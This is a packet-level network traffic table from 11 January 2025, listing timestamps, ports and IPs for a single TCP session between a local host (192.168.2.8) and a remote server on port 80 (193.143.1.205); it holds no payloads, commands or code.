Jan 11, 2025 02:06:25.064135075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.064182043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.064218044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.064235926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064259052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064276934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064291954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064307928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064322948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.064330101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064346075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064361095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064393044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.064393044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.064414024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.104603052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.104619980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.104645967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.104660988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.104676962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.104693890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.104693890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.104713917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.104752064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.110567093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.114233017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.135620117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135636091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135651112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135665894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135690928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135698080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.135706902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135723114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135735035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.135747910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135761023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.135765076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135778904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135802984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135824919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135826111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.135826111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.135843039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135857105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.135910988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.135910988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.161369085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174128056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174141884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174235106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174364090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174379110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174395084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174428940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174444914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174459934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174474955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174479961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174490929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174516916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174561024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174596071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174611092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174612045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174628019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174685001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174827099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174841881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174859047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174865961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174871922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174885988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.174904108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.174949884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175043106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175057888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175081968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175096989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175113916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175128937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175134897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175134897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175209999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175394058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175409079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175432920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175447941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175463915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175467014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175479889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175493956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175494909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175518990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175534010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175543070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175549984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175565958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175579071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.175617933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175617933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175617933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.175757885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176018000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176073074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176088095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176103115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176119089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176132917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176157951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176173925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176182985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176192045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176197052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176219940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176225901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176238060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176251888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176251888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176285982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176301003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176316023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176331043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176332951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176347017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.176368952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176404953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.176994085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177010059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177035093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177050114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177064896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177089930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.177089930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.177114010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177129030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177144051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177153111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177159071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.177161932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177196980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.177215099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.177249908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177263975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177279949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177294970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177311897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.177311897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177328110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.177333117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.177377939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178021908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178037882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178052902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178076029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178092003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178116083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178127050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178127050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178132057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178145885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178158045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178160906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178184032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178185940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178200960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178215027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178225040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178232908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178247929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178263903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178270102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178280115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.178288937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178338051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.178986073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179002047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179016113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179039955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179049969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.179055929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179071903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179090977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179105043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179121017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179122925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.179122925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.179136038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179152012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179167986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.179168940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.179193974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.179250002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.187788010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222249031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222281933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222301006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222359896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222374916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222395897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222434044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222444057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222457886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222481966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222517014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222543001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222558022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222558022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222567081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222592115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222615957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222619057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222656012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222664118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222712040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222784042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222820044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222845078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222867966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222891092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222899914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222914934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222942114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.222946882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.222973108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.225315094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261097908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261110067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261154890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261192083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261217117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261229992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261248112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261260033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261262894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261262894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261297941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261308908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261310101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261348963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261418104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261430979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261450052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261461973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261473894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261485100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261497974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261497974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261595011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261648893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261660099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261672974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261686087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261713028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261713028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261713028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261748075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261759996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261770964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261790037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261821985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261877060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261888027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261898994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261985064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.261993885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.261996984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262007952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262037039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262044907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262056112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262068987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262084007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262110949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262121916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262126923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262132883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262140036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262156963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262182951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262197018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262254000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262356043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262373924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262386084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262419939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262448072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262459993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262470961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262485027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262546062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262546062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262554884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262566090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262577057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262588978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262600899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262605906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262618065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262620926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262629032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262634993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.262691975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.262691975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.265938044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.265976906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.265984058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.265995026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266009092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266020060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266098976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266110897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266118050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266118050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266123056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266143084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266155958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266168118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266180992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266187906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266201019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266211987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266248941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266248941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266248941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266433954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266446114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266458988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266474962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266486883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266499043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266510010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266510010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266510963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266554117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266588926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266599894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266612053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266623974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266638994 CET	49704	80	192.168.2.8	193.143.1.205
